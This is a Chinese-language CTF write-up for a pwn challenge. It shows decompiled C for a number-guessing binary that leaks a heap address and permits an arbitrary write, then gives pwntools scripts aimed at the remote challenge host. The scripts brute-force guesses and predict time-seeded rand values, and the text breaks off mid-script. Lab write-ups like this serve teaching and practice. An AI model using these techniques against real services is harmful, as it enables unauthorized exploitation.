v5 = __readfsqword(0x28u); init(argc, argv, envp); if ( (unsigned int)guess_number() == 1 ) { yay(); } else { puts("difficult? Ok , i will give you a gift , how big gift you want ? "); __isoc99_scanf("%ld", &size); v4 = (char *)malloc(size); printf("here you are: %p\n", v4); puts("offset ? "); __isoc99_scanf("%ld", &size); puts("i thint you may write /bin/sh here"); __isoc99_scanf("%zu", &v4[8 * size]); } _exit(0); }
先一个 if 判断,有一个 guess_number 函数 当 guess_number 函数返回值为 1 时,会执行 yay 函数 当 guess_number 函数返回值不为 1 时,会涉及到堆块,最后一个任意地址写
1 2 3 4
puts("difficult? Ok , i will give you a gift , how big gift you want ? "); __isoc99_scanf("%ld", &size); v4 = (char *)malloc(size); printf("here you are: %p\n", v4);
自定义创建任意大小的堆块,泄露堆块基址
1 2
puts("offset ? "); __isoc99_scanf("%ld", &size);
读取一个整数到 size 变量中
1 2
puts("i thint you may write /bin/sh here"); __isoc99_scanf("%zu", &v4[8 * size]);
__int64 guess_number() { unsigned int seed; // eax int v2; // [rsp+Ch] [rbp-14h] BYREF int i; // [rsp+10h] [rbp-10h] int v4; // [rsp+14h] [rbp-Ch] unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u); seed = time(0LL); srand(seed); for ( i = 1; i <= 16; ++i ) { v4 = rand() % 100 + 1; printf("Guess the number (between 1 and 100): "); __isoc99_scanf("%d", &v2); if ( v4 == v2 ) { puts("Congratulations! You guessed the number correctly."); return 1LL; } printf("Sorry, the correct number is %d.\n", v4); } return 0LL; }
io=remote('node5.anna.nssctf.cn',28155) # io=process('/home/motaly/z') io.sendlineafter(b'100): ', str(1)) io.recvuntil(b"number is ") num = int(io.recvuntil(".")[:-1]) io.close() io = remote('node5.anna.nssctf.cn',28155) io.recvuntil("Guess the number (between 1 and 100): ") io.sendline(str(num))
非常惊喜的一个解,有点是 web 和 pwn 的结合,大佬还是太厉害了
脚本
方法1(直接爆破)
1 2 3 4 5 6 7 8 9
from pwn import * context(os='linux',log_level = 'debug',arch='amd64') io=remote('node5.anna.nssctf.cn',28878) # io=process('/home/motaly/z')
for i in range(1,17): io.sendline(b'66')
io.interactive()
方法2(构造随机值)
1 2 3 4 5 6 7 8 9
from pwn import * from ctypes import * io=remote('node5.anna.nssctf.cn',28878) # io=process('/home/motaly/z') libc = cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc.so.6')